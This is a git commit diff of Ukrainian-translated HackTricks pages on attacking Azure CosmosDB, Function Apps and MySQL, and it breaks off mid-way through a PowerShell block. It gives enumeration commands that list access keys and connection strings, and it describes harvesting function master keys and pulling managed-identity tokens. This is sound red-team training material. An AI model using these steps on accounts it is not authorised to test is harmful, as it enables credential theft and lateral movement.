Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains

This commit is contained in:
Translator
2025-01-11 19:19:11 +00:00
parent 8fccfbf1bf
commit 91c879eb04
44 changed files with 2016 additions and 439 deletions

View File

@@ -0,0 +1,357 @@
# Az - CosmosDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Azure CosmosDB
**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка забезпечує час відповіді в одиничні мілісекунди, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона дозволяє швидше розробляти додатки завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI.
Azure Cosmos DB надає кілька API бази даних для моделювання реальних даних, використовуючи документи, реляційні, ключ-значення, графові та колонові сімейні моделі даних, такими API є NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin та Table.
Одним з ключових аспектів CosmosDB є Azure Cosmos Account. **Azure Cosmos Account** є точкою входу до баз даних. Обліковий запис визначає ключові налаштування, такі як глобальний розподіл, рівні узгодженості та конкретний API, який буде використовуватися, наприклад, NoSQL. Через обліковий запис ви можете налаштувати глобальну реплікацію, щоб забезпечити доступність даних у кількох регіонах для доступу з низькою затримкою. Крім того, ви можете вибрати рівень узгодженості, який балансує між продуктивністю та точністю даних, з варіантами від сильної до остаточної узгодженості.
### NoSQL (sql)
API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу служби:
{% code overflow="wrap" %}
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### Бази даних
У межах облікового запису ви можете створити одну або кілька баз даних, які слугують логічними групами контейнерів. База даних діє як межа для управління ресурсами та правами користувачів. Бази даних можуть або ділити виділену пропускну здатність між своїми контейнерами, або виділяти окрему пропускну здатність для індивідуальних контейнерів.
#### Контейнери
Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запитування. Контейнери еластично масштабуються та розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу.
#### Перерахування
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
az cosmosdb list --resource-group <ResourceGroupName>
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
## Lists the virtual network accounts associated with a Cosmos DB account
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
## List the access keys or connection strings for a Azure Cosmos DB
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
## List all the database accounts that can be restored.
az cosmosdb restorable-database-account list --account-name <AccountName>
## Show the identities for a Azure Cosmos DB database account.
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
# CosmoDB (NoSQL)
## List the SQL databases under an Azure Cosmos DB account.
az cosmosdb sql database list --resource-group <ResourceGroupName> --account-name <AccountName>
## List the SQL containers under an Azure Cosmos DB SQL database.
az cosmosdb sql container list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
## List all SQL role assignments under an Azure Cosmos DB
az cosmosdb sql role assignment list --resource-group <ResourceGroupName> --account-name <AccountName>
## List all SQL role definitions under an Azure Cosmos DB
az cosmosdb sql role definition list --resource-group <ResourceGroupName> --account-name <AccountName>
## List the SQL stored procedures under an Azure Cosmos DB
az cosmosdb sql stored-procedure list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
## List the SQL triggers under an Azure Cosmos DB SQL container.
az cosmosdb sql trigger list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
## List the SQL user defined functions under an Azure Cosmos DB SQL container
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
# Get the access keys for a specific Cosmos DB account.
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
# Retrieve the client encryption keys for a specific Cosmos DB account.
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
# List all SQL containers in a specific Cosmos DB SQL database.
Get-AzCosmosDBSqlContainer -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
# Get backup information for a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>" -Location "<location>"
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>"
# List all SQL databases under a specific Cosmos DB account.
Get-AzCosmosDBSqlDatabase -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -Name "<DatabaseName>"
# List all SQL role assignments for a specific Cosmos DB account.
Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
# List all SQL role definitions for a specific Cosmos DB account.
Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
# List all stored procedures in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
# List all triggers in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
#### Підключення
Для підключення потрібна бібліотека azure-cosmosDB (pip install azure-cosmos). Крім того, кінцева точка та ключ є критично важливими компонентами для встановлення з'єднання.
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
# Connection details
endpoint = "<your-account-endpoint>"
key = "<your-account-key>"
# Initialize Cosmos Client
client = CosmosClient(endpoint, key)
# Access existing database and container
database_name = '<SampleDB>'
container_name = '<SampleContainer>'
database = client.get_database_client(database_name)
container = database.get_container_client(container_name)
# Insert multiple documents
items_to_insert = [
{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
]
for item in items_to_insert:
container.upsert_item(item)
# Query all documents
query = "SELECT * FROM c"
all_items = list(container.query_items(
query=query,
enable_cross_partition_query=True
))
# Print all queried items
print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
Інший спосіб встановлення з'єднання - це використання **DefaultAzureCredential()**. Просто потрібно увійти (az login) з обліковим записом, який має дозволи, і виконати його. У цьому випадку необхідно виконати призначення ролі, надавши необхідні дозволи (див. для більше)
{% code overflow="wrap" %}
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
# Use Azure AD for authentication
credential = DefaultAzureCredential()
endpoint = "<your-account-endpoint>"
client = CosmosClient(endpoint, credential)
# Access database and container
database_name = "<mydatabase>"
container_name = "<mycontainer>"
database = client.get_database_client(database_name)
container = database.get_container_client(container_name)
# Insert a document
item = {
"id": "1",
"name": "Sample Item",
"description": "This is a test item."
}
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
API MongoDB NoSQL є документно-орієнтованим API, який використовує формат даних, схожий на JSON, BSON (Binary JSON). Він надає мову запитів з можливостями агрегації, що робить його придатним для роботи зі структурованими, напівструктурованими та неструктурованими даними. Кінцева точка сервісу зазвичай має такий формат:
{% code overflow="wrap" %}
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### Бази даних
У MongoDB ви можете створити одну або кілька баз даних в межах екземпляра. Кожна база даних слугує логічною групою колекцій і забезпечує межу для організації та управління ресурсами. Бази даних допомагають логічно розділяти та управляти даними, наприклад, для різних додатків або проектів.
#### Колекції
Основною одиницею зберігання даних у MongoDB є колекція, яка містить документи і призначена для ефективного запитування та гнучкого проектування схеми. Колекції еластично масштабуються і можуть підтримувати операції з високою пропускною здатністю на кількох вузлах у розподіленій конфігурації.
#### Перерахування
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
az cosmosdb list --resource-group <ResourceGroupName>
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
## Lists the virtual network accounts associated with a Cosmos DB account
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
## List the access keys or connection strings for a Azure Cosmos DB
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
## List all the database accounts that can be restored.
az cosmosdb restorable-database-account list --account-name <AccountName>
## Show the identities for a Azure Cosmos DB database account.
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
# Get the access keys for a specific Cosmos DB account.
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
# Retrieve the client encryption keys for a specific Cosmos DB account.
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
# List all MongoDB collections in a specific database.
Get-AzCosmosDBMongoDBCollection -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
# Retrieve backup information for a specific MongoDB collection in a database.
Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name> -Location <Location>
# Get the throughput (RU/s) of a specific MongoDB collection in a database.
Get-AzCosmosDBMongoDBCollectionThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name>
# List all MongoDB databases in a specified Cosmos DB account.
Get-AzCosmosDBMongoDBDatabase -AccountName <account-name> -ResourceGroupName <resource-group-name>
# Get the throughput (RU/s) of a specific MongoDB database.
Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
#### Підключення
Тут ви можете знайти пароль за допомогою ключів або за допомогою методу, описаного в розділі privesc.
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
# Updated connection string with retryWrites=false
connection_string = "mongodb://<account-name>.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
# Create the client
client = MongoClient(connection_string, username="<username>", password="<password>")
# Access the database
db = client['<database>']
# Access a collection
collection = db['<collection>']
# Insert a single document
document = {
"name": "John Doe",
"email": "johndoe@example.com",
"age": 30,
"address": {
"street": "123 Main St",
"city": "Somewhere",
"state": "CA",
"zip": "90210"
}
}
# Insert document
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## Посилання
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## Підвищення привілеїв
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
## Постексплуатація
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
## ToDo
* Решта БД тут, таблиці, cassandra, gremlin...
* Ознайомтеся з постексплуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв
* Ознайомтеся з відновленнями
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View File

@@ -4,7 +4,7 @@
## Основна інформація
**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони є економічно вигідними, оскільки зазвичай ви платите лише за обчислювальний час, коли ваш код виконується.
**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони є економічно вигідними, оскільки зазвичай ви платите лише за час обчислень, коли ваш код виконується.
> [!NOTE]
> Зверніть увагу, що **Functions є підмножиною App Services**, тому багато функцій, обговорюваних тут, також будуть використовуватися додатками, створеними як Azure Apps (`webapp` в cli).
@@ -14,7 +14,7 @@
- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів.
- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **перемінних навантажень**, які потребують автоматичного масштабування.
- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій.
- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного розподілу ресурсів.
- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного виділення ресурсів.
- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**.
### **Сховища**
@@ -30,7 +30,7 @@
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі сховища в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
Зверніть увагу, що Functions також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
Зверніть увагу, що функції також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
### Мережа
@@ -40,7 +40,7 @@
- Також можливо **надати або обмежити доступ** до Function App з **внутрішньої мережі (VPC)**.
> [!CAUTION]
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, відкритої для Інтернету.
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, виставленої в Інтернет.
### **Налаштування Function App та змінні середовища**
@@ -58,7 +58,7 @@
Так само, як і [**VMs**](vms/index.html), функції можуть мати **керовані ідентичності** двох типів: системно призначені та призначені користувачем.
**Системно призначена** ідентичність буде керованою ідентичністю, яку **тільки функція**, якій вона призначена, зможе використовувати, тоді як **призначені користувачем** керовані ідентичності - це керовані ідентичності, які **будь-яка інша служба Azure зможе використовувати**.
**Системно призначена** ідентичність буде керованою ідентичністю, яку **тільки функція**, якій вона призначена, зможе використовувати, тоді як **керовані ідентичності, призначені користувачем**, є керованими ідентичностями, які **будь-яка інша служба Azure зможе використовувати**.
> [!NOTE]
> Так само, як і в [**VMs**](vms/index.html), функції можуть мати **1 системно призначену** керовану ідентичність і **кілька призначених користувачем**, тому завжди важливо намагатися знайти всі з них, якщо ви компрометуєте функцію, оскільки ви можете підвищити привілеї до кількох керованих ідентичностей з однієї функції.
@@ -67,9 +67,9 @@
Можливо використовувати [**PEASS скрипти**](https://github.com/peass-ng/PEASS-ng) для отримання токенів з за замовчуванням керованої ідентичності з кінцевої точки метаданих. Або ви можете отримати їх **вручну**, як пояснено в:
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
Зверніть увагу, що вам потрібно знайти спосіб **перевірити всі керовані ідентичності, які має функція**, оскільки якщо ви не вкажете це, кінцева точка метаданих **використовуватиме лише за замовчуванням** (перевірте попереднє посилання для отримання додаткової інформації).
Зверніть увагу, що вам потрібно знайти спосіб **перевірити всі керовані ідентичності, прикріплені до функції**, оскільки якщо ви цього не вкажете, кінцева точка метаданих **використовуватиме лише за замовчуванням** (перевірте попереднє посилання для отримання додаткової інформації).
## Ключі доступу
@@ -86,8 +86,8 @@
- **Ключі функцій:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок.
- **Ключі хоста:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**.
- **Ключ майстра:** Ключ майстра (`_master`) служить адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API.
- **Ключ майстра:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії з їхніми відповідними API.
> [!TIP]
> Приклад доступу до кінцевої точки API функції за допомогою ключа:
@@ -192,14 +192,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації Федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Отже, будь-хто, хто скомпрометує цей репозиторій, зможе скомпрометувати функцію та пов'язані з нею Managed Identities.
### Container Based Deployments
Не всі плани дозволяють розгортати контейнери, але для тих, які це дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**.
Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**.
Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно.

View File

@@ -0,0 +1,194 @@
# Az - MySQL Databases
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Azure MySQL
Azure Database for MySQL - це повністю керована реляційна база даних, заснована на MySQL Community Edition, розроблена для забезпечення масштабованості, безпеки та гнучкості для різних потреб додатків. Вона має дві різні моделі розгортання:
* **Одиночний сервер** (перебуває на шляху до закриття):
- Оптимізовано для економічних та легких у керуванні розгортань MySQL.
- Функції включають автоматизовані резервні копії, високу доступність та базове моніторинг.
- Ідеально підходить для додатків з передбачуваними навантаженнями.
* **Гнучкий сервер**:
- Забезпечує більше контролю над управлінням базами даних та конфігурацією.
- Підтримує високу доступність (в одній зоні та зонально-резервну).
- Має еластичне масштабування, управління патчами та оптимізацію навантаження.
- Пропонує функціональність зупинки/запуску для економії коштів.
### Ключові особливості
* **Управління сервером**: Функція **ad-admin** дозволяє керувати адміністраторами Azure Active Directory (AAD) для серверів MySQL, забезпечуючи контроль над адміністративним доступом через облікові дані AAD, тоді як функція **identity** дозволяє призначати та керувати керованими ідентичностями Azure, пропонуючи безпечну аутентифікацію без облікових даних для доступу до ресурсів Azure.
* **Управління життєвим циклом**: можливості запуску або зупинки сервера, видалення екземпляра гнучкого сервера, перезавантаження сервера для швидкого застосування змін конфігурації та очікування, щоб переконатися, що сервер відповідає певним умовам перед продовженням автоматизаційних скриптів.
* **Безпека та мережі**: можна керувати правилами брандмауера сервера для безпечного доступу до бази даних та відключати конфігурації віртуальної мережі за потреби.
* **Захист даних та резервне копіювання**: включає можливості управління резервними копіями гнучкого сервера для відновлення даних, виконання гео-відновлення для відновлення сервера в іншому регіоні, експорту резервних копій сервера для зовнішнього використання (в Preview) та відновлення сервера з резервної копії до певного моменту часу.
### Перерахування
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
# List databases in a flexible-server
az mysql flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
# Show specific details of a MySQL database
az mysql flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
# List firewall rules of the a server
az mysql flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
# List all ad-admin in a server
az mysql flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
# List all user assigned managed identities from the server
az mysql flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
# List the server backups
az mysql flexible-server backup list --resource-group <resource-group-name> --name <server_name>
# List all read replicas for a given server
az mysql flexible-server replica list --resource-group <resource-group-name> --name <server_name>
# Get the server's advanced threat protection setting
az mysql flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
# List all of the maintenances of a flexible server
az mysql flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
# List log files for a server.
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
Get-AzMySqlFlexibleServer -ResourceGroupName <resource-group-name>
# List databases in a specific flexible server
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get details of a specific database in a flexible server
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name> -DatabaseName <database_name>
# List all firewall rules for a flexible server
Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get the identity information of a flexible server
Get-AzMySqlFlexibleServerIdentity -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get the server's advanced threat protection setting
Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName <resource-group-name> -ServerName <server_name>
# List configuration settings of a flexible server
